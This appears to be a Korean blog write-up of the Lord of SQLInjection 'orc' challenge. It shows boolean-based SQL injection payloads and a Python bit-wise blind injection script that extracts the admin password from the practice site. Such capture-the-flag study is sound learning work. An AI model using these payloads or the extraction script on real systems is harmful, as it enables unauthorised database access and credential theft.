Lord of SQLInjection #orc

심야·2024년 12월 5일
0

모의해킹

목록 보기
47/47
post-thumbnail

Lord of SQLInjection 4번 문제 orc를 풀이한다.


select id from prob_orc where id='admin' and pw='{$_GET[pw]} 구문이 참이되면 Hello admin을 출력한다.

select pw from prob_orc where id='admin' and pw='{$_GET[pw]}' 구문이 참이되면 패스워드를 조회한다. 이후 DB에서 반환된 패스워드와 입력한 패스워드가 동일하면 orc를 출력하며 문제가 해결된다.

Hello admin을 출력할 수 있는 조건은 다음과 같다.

  • id='admin' and pw='' 구문이 참이되어 id를 조회할 수 있어야 함.
  • pw 파라미터가 참이되어야 and 조건으로 연산해 id를 조회할 수 있음.

pw 매개변수에 참을 반환하는 쿼리를 삽입해 공격을 시작한다.

id='admin' and pw='2' 연산 결과는 False이다. 그러나 or id='admin' 쿼리 결과는 True기 때문에 id 조회, 즉 Hello admin 문자열이 출력된다.

Hello admin을 출력하였지만, 패스워드를 찾는 쿼리가 아니기 때문에 이 방식은 의미가 없다.
따라서 참/거짓을 반환하는 쿼리로 공격하는 블라인드 SQL 인젝션을 시도해야 한다.

패스워드의 길이를 구해보자.

select id from prob_orc where id='admin' and pw='2' or id = 'admin' and length(pw) < 5 -- -
id 조회에 실패했다. 패스워드 길이는 5보다 크다.

length(pw) = 8 -- - 쿼리 삽입 결과, 패스워드 길이는 8글자이다.
글자 수가 길어 공격 시간 소모가 크기 때문에 파이썬 익스플로잇 코드를 구현하였다.
블라인드 SQL 인젝션은 대표적으로 순차 탐색, 이진 탐색, 비트 탐색 3가지 방식이 있다.

비트 탐색이 속도도 준수하고 알고리즘 구현도 쉽기 때문에 비트 탐색으로 구현하였다.

import requests
import sys

def attack_payload():
    control_point = '<h2>Hello admin</h2>'
    binary_number = [1, 2, 4, 8, 16, 32, 64]
    binary_result = 0
    result = []
    URL = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw='
    cookie = {'PHPSESSID':''}
    # token
    data = ""
    query = '\' or id=\'admin\' and ascii(substr(pw,'

    for j in range(1, 11):
        print(f'========{j}========')
        for k in binary_number:
            payload = f"{URL} {query} {j},1))%26{k}={k}+--+-"
            resp = requests.get(payload, cookies=cookie) # , verify=False)
            if control_point in resp.text:
                # 이진수 총합을 구한다.
                binary_result += k 
                print(f'!!!!!!!! binary == {k}')
                if binary_result == 0:
                    # j번째에서 추출한 데이터 없을 경우
                    continue # 이진수 합이 0이면 다음 데이터를 추출한다.
            else:
                print(f'Fail Payload= {payload}')
                continue
        if binary_result > 0: 
            # 데이터 추출
            data = chr(binary_result)
            binary_result = 0 
            result.append(data)     
        elif binary_result == 0:
            return result 
            # 인젝션 종료
    if len(result) == 0:
        # 인젝션 실패
        sys.exit()

    # 더 이상 추가할 데이터가 없다면 반복문을 종료한다
    return result


result = attack_payload()
print(result)

공격 결과, 095a9852 값을 획득하였다.
획득한 패스워드로 질의 결과, 문제를 클리어했다.

profile
하루하루 성실하게, 인생 전체는 되는대로.

0개의 댓글